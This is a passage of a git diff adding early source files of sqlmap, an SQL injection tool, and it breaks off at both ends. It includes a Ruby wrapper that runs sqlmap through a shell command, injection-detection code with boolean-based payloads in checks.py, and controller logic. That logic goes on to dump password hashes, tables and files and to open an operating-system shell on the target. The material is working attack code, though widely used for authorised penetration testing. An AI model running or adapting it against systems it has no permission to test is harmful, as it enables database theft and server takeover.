+
+ data = datastore['DATA']
+ method = datastore['METHOD'].upcase
+
+ sqlmap_url = (datastore['SSL'] ? "https" : "http")
+ sqlmap_url += "://" + self.target_host + ":" + datastore['RPORT']
+ sqlmap_url += "/" + datastore['PATH']
+
+ if method == "GET"
+ sqlmap_url += '?' + datastore['QUERY']
+ end
+
+ cmd = sqlmap + ' -u \'' + sqlmap_url + '\''
+ cmd += ' --method ' + method
+ cmd += ' ' + datastore['OPTS']
+
+ if not data.empty?
+ cmd += ' --data \'' + data + '\''
+ end
+
+ if datastore['BATCH'] == true
+ cmd += ' --batch'
+ end
+
+ print_status("exec: #{cmd}")
+ IO.popen( cmd ) do |io|
+ io.each_line do |line|
+ print_line("SQLMAP: " + line.strip)
+ end
+ end
+ end
+
+end
diff --git a/lib/__init__.py b/lib/__init__.py
new file mode 100644
index 000000000..e8fee9d67
--- /dev/null
+++ b/lib/__init__.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+pass
diff --git a/lib/contrib/__init__.py b/lib/contrib/__init__.py
new file mode 100644
index 000000000..e8fee9d67
--- /dev/null
+++ b/lib/contrib/__init__.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+pass
diff --git a/lib/contrib/multipartpost.py b/lib/contrib/multipartpost.py
new file mode 100644
index 000000000..ecf5c07a3
--- /dev/null
+++ b/lib/contrib/multipartpost.py
@@ -0,0 +1,97 @@
+#!/usr/bin/env python
+
+"""
+$Id: multipartpost.py 316 2008-08-03 22:56:20Z inquisb $
+
+02/2006 Will Holcomb
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+Lesser General Public License for more details.
+"""
+
+
+
+import mimetools
+import mimetypes
+import os
+import stat
+import sys
+import urllib
+import urllib2
+
+from lib.core.exception import sqlmapDataException
+
+
+class Callable:
+ def __init__(self, anycallable):
+ self.__call__ = anycallable
+
+
+# Controls how sequences are uncoded. If true, elements may be given
+# multiple values by assigning a sequence.
+doseq = 1
+
+
+class MultipartPostHandler(urllib2.BaseHandler):
+ handler_order = urllib2.HTTPHandler.handler_order - 10 # needs to run first
+
+ def http_request(self, request):
+ data = request.get_data()
+ if data is not None and type(data) != str:
+ v_files = []
+ v_vars = []
+ try:
+ for(key, value) in data.items():
+ if type(value) == file:
+ v_files.append((key, value))
+ else:
+ v_vars.append((key, value))
+ except TypeError:
+ systype, value, traceback = sys.exc_info()
+ raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
+
+ if len(v_files) == 0:
+ data = urllib.urlencode(v_vars, doseq)
+ else:
+ boundary, data = self.multipart_encode(v_vars, v_files)
+ contenttype = 'multipart/form-data; boundary=%s' % boundary
+ #if (request.has_header('Content-Type') and request.get_header('Content-Type').find('multipart/form-data') != 0):
+ # print "Replacing %s with %s" % (request.get_header('content-type'), 'multipart/form-data')
+ request.add_unredirected_header('Content-Type', contenttype)
+
+ request.add_data(data)
+ return request
+
+
+ def multipart_encode(vars, files, boundary = None, buffer = None):
+ if boundary is None:
+ boundary = mimetools.choose_boundary()
+ if buffer is None:
+ buffer = ''
+ for(key, value) in vars:
+ buffer += '--%s\r\n' % boundary
+ buffer += 'Content-Disposition: form-data; name="%s"' % key
+ buffer += '\r\n\r\n' + value + '\r\n'
+ for(key, fd) in files:
+ file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
+ filename = fd.name.split('/')[-1]
+ contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
+ buffer += '--%s\r\n' % boundary
+ buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
+ buffer += 'Content-Type: %s\r\n' % contenttype
+ # buffer += 'Content-Length: %s\r\n' % file_size
+ fd.seek(0)
+ buffer += '\r\n' + fd.read() + '\r\n'
+ buffer += '--%s--\r\n\r\n' % boundary
+ return boundary, buffer
+ multipart_encode = Callable(multipart_encode)
+
+ https_request = http_request
+
diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py
new file mode 100644
index 000000000..e8fee9d67
--- /dev/null
+++ b/lib/controller/__init__.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+pass
diff --git a/lib/controller/action.py b/lib/controller/action.py
new file mode 100644
index 000000000..e5f4487ef
--- /dev/null
+++ b/lib/controller/action.py
@@ -0,0 +1,126 @@
+#!/usr/bin/env python
+
+"""
+$Id: action.py 293 2008-07-28 21:56:52Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+from lib.controller.handler import setHandler
+from lib.core.common import getHtmlErrorFp
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.dump import dumper
+from lib.core.exception import sqlmapUnsupportedDBMSException
+from lib.core.settings import SUPPORTED_DBMS
+from lib.techniques.inband.union.test import unionTest
+
+
+def action():
+ """
+ This function exploit the SQL injection on the affected
+ url parameter and extract requested data from the
+ back-end database management system or operating system
+ if possible
+ """
+
+ # First of all we have to identify the back-end database management
+ # system to be able to go ahead with the injection
+ conf.dbmsHandler = setHandler()
+
+ if not conf.dbmsHandler:
+ htmlParsed = getHtmlErrorFp()
+
+ errMsg = "sqlmap was not able to fingerprint the "
+ errMsg += "back-end database management system"
+
+ if htmlParsed:
+ errMsg += ", but from the HTML error page it was "
+ errMsg += "possible to determinate that the "
+ errMsg += "back-end DBMS is %s" % htmlParsed
+
+ if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
+ errMsg += ". Do not specify the back-end DBMS manually, "
+ errMsg += "sqlmap will fingerprint the DBMS for you"
+ else:
+ errMsg += ". Support for this DBMS will be implemented if "
+ errMsg += "you ask, just drop us an email"
+
+ raise sqlmapUnsupportedDBMSException, errMsg
+
+ print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint()
+
+ # Miscellaneous options
+ if conf.unionTest:
+ dumper.string("valid union", unionTest())
+
+ # Enumeration options
+ if conf.getBanner:
+ dumper.string("banner", conf.dbmsHandler.getBanner())
+
+ if conf.getCurrentUser:
+ dumper.string("current user", conf.dbmsHandler.getCurrentUser())
+
+ if conf.getCurrentDb:
+ dumper.string("current database", conf.dbmsHandler.getCurrentDb())
+
+ if conf.getUsers:
+ dumper.lister("database management system users", conf.dbmsHandler.getUsers())
+
+ if conf.getPasswordHashes:
+ dumper.userSettings("database management system users password hashes",
+ conf.dbmsHandler.getPasswordHashes(), "password hash")
+
+ if conf.getPrivileges:
+ dumper.userSettings("database management system users privileges",
+ conf.dbmsHandler.getPrivileges(), "privilege")
+
+ if conf.getDbs:
+ dumper.lister("available databases", conf.dbmsHandler.getDbs())
+
+ if conf.getTables:
+ dumper.dbTables(conf.dbmsHandler.getTables())
+
+ if conf.getColumns:
+ dumper.dbTableColumns(conf.dbmsHandler.getColumns())
+
+ if conf.dumpTable:
+ dumper.dbTableValues(conf.dbmsHandler.dumpTable())
+
+ if conf.dumpAll:
+ conf.dbmsHandler.dumpAll()
+
+ if conf.query:
+ dumper.string(conf.query, conf.dbmsHandler.sqlQuery(conf.query))
+
+ if conf.sqlShell:
+ conf.dbmsHandler.sqlShell()
+
+ # File system options
+ if conf.rFile:
+ dumper.string(conf.rFile, conf.dbmsHandler.readFile(conf.rFile))
+
+ if conf.wFile:
+ dumper.string(conf.wFile, conf.dbmsHandler.writeFile(conf.wFile))
+
+ # Takeover options
+ if conf.osShell:
+ conf.dbmsHandler.osShell()
diff --git a/lib/controller/checks.py b/lib/controller/checks.py
new file mode 100644
index 000000000..bedab1f69
--- /dev/null
+++ b/lib/controller/checks.py
@@ -0,0 +1,318 @@
+#!/usr/bin/env python
+
+"""
+$Id: checks.py 357 2008-09-21 18:52:16Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import time
+
+from lib.controller.action import action
+from lib.core.agent import agent
+from lib.core.common import randomInt
+from lib.core.common import randomStr
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.exception import sqlmapConnectionException
+from lib.core.session import setString
+from lib.request.connect import Connect as Request
+
+
+def checkSqlInjection(place, parameter, value, parenthesis):
+ """
+ This function checks if the GET, POST, Cookie, User-Agent
+ parameters are affected by a SQL injection vulnerability and
+ identifies the type of SQL injection:
+
+ * Unescaped numeric injection
+ * Single quoted string injection
+ * Double quoted string injection
+ """
+
+ logMsg = "testing unescaped numeric injection "
+ logMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(logMsg)
+
+ randInt = randomInt()
+ randStr = randomStr()
+
+ payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
+ trueResult = Request.queryPage(payload, place)
+
+ if trueResult == kb.defaultResult:
+ payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
+ falseResult = Request.queryPage(payload, place)
+
+ if falseResult != kb.defaultResult:
+ logMsg = "confirming unescaped numeric injection "
+ logMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(logMsg)
+
+ payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
+ falseResult = Request.queryPage(payload, place)
+
+ if falseResult != kb.defaultResult:
+ logMsg = "%s parameter '%s' is " % (place, parameter)
+ logMsg += "unescaped numeric injectable "
+ logMsg += "with %d parenthesis" % parenthesis
+ logger.info(logMsg)
+
+ return "numeric"
+
+ logMsg = "%s parameter '%s' is not " % (place, parameter)
+ logMsg += "unescaped numeric injectable"
+ logger.info(logMsg)
+
+ logMsg = "testing single quoted string injection "
+ logMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(logMsg)
+
+ payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
+ trueResult = Request.queryPage(payload, place)
+
+ if trueResult == kb.defaultResult:
+ payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
+ falseResult = Request.queryPage(payload, place)
+
+ if falseResult != kb.defaultResult:
+ logMsg = "confirming single quoted string injection "
+ logMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(logMsg)
+
+ payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
+ falseResult = Request.queryPage(payload, place)
+
+ if falseResult != kb.defaultResult:
+ logMsg = "%s parameter '%s' is " % (place, parameter)
+ logMsg += "single quoted string injectable "
+ logMsg += "with %d parenthesis" % parenthesis
+ logger.info(logMsg)
+
+ return "stringsingle"
+
+ logMsg = "%s parameter '%s' is not " % (place, parameter)
+ logMsg += "single quoted string injectable"
+ logger.info(logMsg)
+
+ logMsg = "testing LIKE single quoted string injection "
+ logMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(logMsg)
+
+ payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
+ trueResult = Request.queryPage(payload, place)
+
+ if trueResult == kb.defaultResult:
+ payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
+ falseResult = Request.queryPage(payload, place)
+
+ if falseResult != kb.defaultResult:
+ logMsg = "confirming LIKE single quoted string injection "
+ logMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(logMsg)
+
+ payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
+ falseResult = Request.queryPage(payload, place)
+
+ if falseResult != kb.defaultResult:
+ logMsg = "%s parameter '%s' is " % (place, parameter)
+ logMsg += "LIKE single quoted string injectable "
+ logMsg += "with %d parenthesis" % parenthesis
+ logger.info(logMsg)
+
+ return "likesingle"
+
+ logMsg = "%s parameter '%s' is not " % (place, parameter)
+ logMsg += "LIKE single quoted string injectable"
+ logger.info(logMsg)
+
+ logMsg = "testing double quoted string injection "
+ logMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(logMsg)
+
+ payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
+ trueResult = Request.queryPage(payload, place)
+
+ if trueResult == kb.defaultResult:
+ payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
+ falseResult = Request.queryPage(payload, place)
+
+ if falseResult != kb.defaultResult:
+ logMsg = "confirming double quoted string injection "
+ logMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(logMsg)
+
+ payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
+ falseResult = Request.queryPage(payload, place)
+
+ if falseResult != kb.defaultResult:
+ logMsg = "%s parameter '%s' is " % (place, parameter)
+ logMsg += "double quoted string injectable "
+ logMsg += "with %d parenthesis" % parenthesis
+ logger.info(logMsg)
+
+ return "stringdouble"
+
+ logMsg = "%s parameter '%s' is not " % (place, parameter)
+ logMsg += "double quoted string injectable"
+ logger.info(logMsg)
+
+ logMsg = "testing LIKE double quoted string injection "
+ logMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(logMsg)
+
+ payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
+ trueResult = Request.queryPage(payload, place)
+
+ if trueResult == kb.defaultResult:
+ payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
+ falseResult = Request.queryPage(payload, place)
+
+ if falseResult != kb.defaultResult:
+ logMsg = "confirming LIKE double quoted string injection "
+ logMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(logMsg)
+
+ payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
+ falseResult = Request.queryPage(payload, place)
+
+ if falseResult != kb.defaultResult:
+ logMsg = "%s parameter '%s' is " % (place, parameter)
+ logMsg += "LIKE double quoted string injectable "
+ logMsg += "with %d parenthesis" % parenthesis
+ logger.info(logMsg)
+
+ return "likedouble"
+
+ logMsg = "%s parameter '%s' is not " % (place, parameter)
+ logMsg += "LIKE double quoted string injectable"
+ logger.info(logMsg)
+
+ return None
+
+
+def checkDynParam(place, parameter, value):
+ """
+ This function checks if the url parameter is dynamic. If it is
+ dynamic, the content of the page differs, otherwise the
+ dynamicity might depend on another parameter.
+ """
+
+ logMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
+ logger.info(logMsg)
+
+ randInt = randomInt()
+ payload = agent.payload(place, parameter, value, str(randInt))
+ dynResult1 = Request.queryPage(payload, place)
+
+ if kb.defaultResult == dynResult1:
+ return False
+
+ logMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
+ logger.info(logMsg)
+
+ payload = agent.payload(place, parameter, value, "'%s" % randomStr())
+ dynResult2 = Request.queryPage(payload, place)
+
+ payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
+ dynResult3 = Request.queryPage(payload, place)
+
+ condition = kb.defaultResult != dynResult2
+ condition |= kb.defaultResult != dynResult3
+
+ return condition
+
+
+def checkStability():
+ """
+ This function checks if the URL content is stable requesting the
+ same page three times with a small delay within each request to
+ assume that it is stable.
+
+ In case the content of the page differs when requesting
+ the same page, the dynamicity might depend on other parameters,
+ like for instance string matching (--string).
+ """
+
+ logMsg = "testing if the url is stable, wait a few seconds"
+ logger.info(logMsg)
+
+ firstResult = Request.queryPage()
+ time.sleep(0.5)
+
+ secondResult = Request.queryPage()
+ time.sleep(0.5)
+
+ thirdResult = Request.queryPage()
+
+ condition = firstResult == secondResult
+ condition &= secondResult == thirdResult
+
+ return condition
+
+
+def checkString():
+ if not conf.string:
+ return True
+
+ condition = (
+ kb.resumedQueries.has_key(conf.url) and
+ kb.resumedQueries[conf.url].has_key("String") and
+ kb.resumedQueries[conf.url]["String"][:-1] == conf.string
+ )
+
+ if condition:
+ return True
+
+ logMsg = "testing if the provided string is within the "
+ logMsg += "target URL page content"
+ logger.info(logMsg)
+
+ page = Request.queryPage(content=True)
+
+ if conf.string in page:
+ setString()
+ return True
+ else:
+ errMsg = "you provided '%s' as the string to " % conf.string
+ errMsg += "match, but such a string is not within the target "
+ errMsg += "URL page content, please provide another string."
+ logger.error(errMsg)
+
+ return False
+
+
+def checkConnection():
+ logMsg = "testing connection to the target url"
+ logger.info(logMsg)
+
+ try:
+ kb.defaultResult = Request.queryPage()
+ except sqlmapConnectionException, exceptionMsg:
+ if conf.googleDork:
+ exceptionMsg += ", skipping to next url"
+ logger.warn(exceptionMsg)
+ return False
+ else:
+ raise sqlmapConnectionException, exceptionMsg
+
+ return True
diff --git a/lib/controller/controller.py b/lib/controller/controller.py
new file mode 100644
index 000000000..cbcf87d68
--- /dev/null
+++ b/lib/controller/controller.py
@@ -0,0 +1,242 @@
+#!/usr/bin/env python
+
+"""
+$Id: controller.py 368 2008-09-30 00:09:59Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+from lib.controller.action import action
+from lib.controller.checks import checkSqlInjection
+from lib.controller.checks import checkDynParam
+from lib.controller.checks import checkStability
+from lib.controller.checks import checkString
+from lib.controller.checks import checkConnection
+from lib.core.common import paramToDict
+from lib.core.common import readInput
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.exception import sqlmapConnectionException
+from lib.core.exception import sqlmapNotVulnerableException
+from lib.core.session import setInjection
+from lib.core.target import createTargetDirs
+from lib.core.target import initTargetEnv
+from lib.utils.parenthesis import checkForParenthesis
+
+
+def __selectInjection(injData):
+ """
+ Selection function for injection place, parameters and type.
+ """
+
+ message = "there were multiple injection points, please select the "
+ message += "one to use to go ahead:\n"
+
+ for i in xrange(0, len(injData)):
+ injPlace = injData[i][0]
+ injParameter = injData[i][1]
+ injType = injData[i][2]
+
+ message += "[%d] place: %s, parameter: " % (i, injPlace)
+ message += "%s, type: %s" % (injParameter, injType)
+
+ if i == 0:
+ message += " (default)"
+
+ message += "\n"
+
+ message += "[q] Quit\nChoice: "
+ select = readInput(message, default="0")
+
+ if not select:
+ index = 0
+
+ elif select.isdigit() and int(select) < len(injData) and int(select) >= 0:
+ index = int(select)
+
+ elif select[0] in ( "Q", "q" ):
+ return "Quit"
+
+ else:
+ warnMsg = "Invalid choice, retry"
+ logger.warn(warnMsg)
+ __selectInjection(injData)
+
+ return injData[index]
+
+
+def start():
+ """
+ This function calls a function that performs checks on both URL
+ stability and all GET, POST, Cookie and User-Agent parameters to
+ check if they are dynamic and SQL injection affected
+ """
+
+ if conf.url:
+ kb.targetUrls.add(conf.url)
+
+ if conf.configFile and not kb.targetUrls:
+ errMsg = "you did not edit the configuration file properly, set "
+ errMsg += "the target url properly"
+ logger.error(errMsg)
+
+ hostCount = 0
+ injData = []
+ receivedCookies = []
+ cookieStr = ""
+ setCookieAsInjectable = True
+
+ for targetUrl in kb.targetUrls:
+ if conf.googleDork:
+ hostCount += 1
+
+ message = "url %d: %s, " % (hostCount, targetUrl)
+ message += "do you want to test this url? [Y/n/q] "
+ test = readInput(message, default="Y")
+
+ if test[0] in ("n", "N"):
+ continue
+ elif test[0] in ("q", "Q"):
+ break
+
+ logMsg = "testing url %s" % targetUrl
+ logger.info(logMsg)
+
+ conf.url = targetUrl
+ initTargetEnv()
+
+ if not checkConnection() or not checkString():
+ continue
+
+ for _, cookie in enumerate(conf.cj):
+ cookie = str(cookie)
+ index = cookie.index(" for ")
+
+ cookieStr += "%s;" % cookie[8:index]
+
+ if cookieStr:
+ cookieStr = cookieStr[:-1]
+
+ if "Cookie" in conf.parameters:
+ message = "you provided an HTTP Cookie header value. "
+ message += "The target url provided its own Cookie within "
+ message += "the HTTP Set-Cookie header. Do you want to "
+ message += "continue using the HTTP Cookie values that "
+ message += "you provided? [Y/n] "
+ test = readInput(message, default="Y")
+
+ if not test or test[0] in ("y", "Y"):
+ setCookieAsInjectable = False
+
+ if setCookieAsInjectable:
+ conf.httpHeaders.append(("Cookie", cookieStr))
+ conf.parameters["Cookie"] = cookieStr
+ __paramDict = paramToDict("Cookie", cookieStr)
+
+ if __paramDict:
+ conf.paramDict["Cookie"] = __paramDict
+ __testableParameters = True
+
+ if not kb.injPlace or not kb.injParameter or not kb.injType:
+ if not conf.string:
+ if checkStability():
+ logMsg = "url is stable"
+ logger.info(logMsg)
+ else:
+ errMsg = "url is not stable, try with --string option, refer "
+ errMsg += "to the user's manual paragraph 'String match' "
+ errMsg += "for details"
+
+ if conf.googleDork:
+ errMsg += ", skipping to next url"
+ logger.warn(errMsg)
+
+ continue
+ else:
+ raise sqlmapConnectionException, errMsg
+
+ for place in conf.parameters.keys():
+ if not conf.paramDict.has_key(place):
+ continue
+
+ paramDict = conf.paramDict[place]
+
+ for parameter, value in paramDict.items():
+ if not checkDynParam(place, parameter, value):
+ warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter)
+ logger.warn(warnMsg)
+ else:
+ logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
+ logger.info(logMsg)
+
+ for parenthesis in range(0, 4):
+ logMsg = "testing sql injection on %s " % place
+ logMsg += "parameter '%s' with " % parameter
+ logMsg += "%d parenthesis" % parenthesis
+ logger.info(logMsg)
+
+ injType = checkSqlInjection(place, parameter, value, parenthesis)
+
+ if injType:
+ injData.append((place, parameter, injType))
+
+ break
+ else:
+ warnMsg = "%s parameter '%s' is not " % (place, parameter)
+ warnMsg += "injectable with %d parenthesis" % parenthesis
+ logger.warn(warnMsg)
+
+ if not kb.injPlace or not kb.injParameter or not kb.injType:
+ if len(injData) == 1:
+ injDataSelected = injData[0]
+ elif len(injData) > 1:
+ injDataSelected = __selectInjection(injData)
+ else:
+ return
+
+ if injDataSelected == "Quit":
+ return
+ else:
+ kb.injPlace, kb.injParameter, kb.injType = injDataSelected
+ setInjection()
+
+ if not conf.googleDork and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
+ raise sqlmapNotVulnerableException, "all parameters are not injectable"
+ elif kb.injPlace and kb.injParameter and kb.injType:
+ condition = False
+
+ if conf.googleDork:
+ message = "do you want to exploit this SQL injection? [Y/n] "
+ exploit = readInput(message, default="Y")
+
+ if not exploit or exploit[0] in ("y", "Y"):
+ condition = True
+ else:
+ condition = True
+
+ if condition:
+ checkForParenthesis()
+ createTargetDirs()
+ action()
+
+ if conf.loggedToOut:
+ logger.info("Fetched data logged to text files under '%s'" % conf.outputPath)
diff --git a/lib/controller/handler.py b/lib/controller/handler.py
new file mode 100644
index 000000000..11385d214
--- /dev/null
+++ b/lib/controller/handler.py
@@ -0,0 +1,71 @@
+#!/usr/bin/env python
+
+"""
+$Id: handler.py 283 2008-07-25 15:16:11Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.settings import MSSQL_ALIASES
+from lib.core.settings import MYSQL_ALIASES
+from lib.core.settings import ORACLE_ALIASES
+from lib.core.settings import PGSQL_ALIASES
+
+from plugins.dbms.mssqlserver import MSSQLServerMap
+from plugins.dbms.mysql import MySQLMap
+from plugins.dbms.oracle import OracleMap
+from plugins.dbms.postgresql import PostgreSQLMap
+
+
+def setHandler():
+ """
+ Detect which is the target web application back-end database
+ management system.
+ """
+
+ count = 0
+ dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server" )
+ dbmsMap = (
+ ( MYSQL_ALIASES, MySQLMap ),
+ ( ORACLE_ALIASES, OracleMap ),
+ ( PGSQL_ALIASES, PostgreSQLMap ),
+ ( MSSQL_ALIASES, MSSQLServerMap ),
+ )
+
+ for dbmsAliases, dbmsEntry in dbmsMap:
+ if conf.dbms and conf.dbms not in dbmsAliases:
+ debugMsg = "skipping to test for %s" % dbmsNames[count]
+ logger.debug(debugMsg)
+ count += 1
+ continue
+
+ dbmsHandler = dbmsEntry()
+
+ if dbmsHandler.checkDbms():
+ if not conf.dbms or conf.dbms in dbmsAliases:
+ kb.dbmsDetected = True
+
+ return dbmsHandler
+
+ return None
diff --git a/lib/core/__init__.py b/lib/core/__init__.py
new file mode 100644
index 000000000..e8fee9d67
--- /dev/null
+++ b/lib/core/__init__.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
